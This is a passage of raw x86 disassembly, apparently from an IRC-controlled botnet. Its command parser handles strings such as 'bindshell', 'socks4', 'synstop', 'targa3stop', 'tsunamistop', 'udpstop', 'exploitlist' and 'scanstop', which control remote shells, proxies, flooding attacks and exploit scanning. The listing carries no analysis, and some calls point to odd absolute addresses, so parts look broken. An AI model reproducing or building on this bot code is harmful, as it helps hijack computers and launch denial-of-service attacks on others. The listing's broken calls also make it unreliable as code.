		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC84
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB8D8
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC68
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC60
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC48
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42CC0C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBC8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CBA0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42CB68
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB38
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB04
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aH4ck3d	; "H4CK3D"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset asc_42CAF8 ; "l"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DBE0


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDD4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBF8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DBE0[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAB8 ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDD0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDD0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA14
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9EC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9D0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9B4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C9A0
		push	offset dword_42C994
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C974
		push	offset dword_42C964
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C958
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C94C
		push	offset dword_42C940
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C92C
		push	offset dword_42C920
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C904
		push	offset dword_42C8F4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8D8
		push	offset dword_42C8C8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8B0
		push	offset dword_42C8A4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C94C
		push	offset dword_42C940
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C92C
		push	offset dword_42C920
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C88C
		push	offset dword_42C880
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C874
		push	offset dword_42C868
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8D8
		push	offset dword_42C8C8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8B0
		push	offset dword_42C8A4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C858
		push	offset dword_42C848
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C838
		push	offset dword_42C828
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C904
		push	offset dword_42C8F4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7F4
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C858
		push	offset dword_42C848
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C838
		push	offset dword_42C828
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C88C
		push	offset dword_42C880
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C874
		push	offset dword_42C868
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7AC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C75C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C738
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C718
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C658
		jnz	short loc_403162
		mov	eax, offset unk_42C634


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
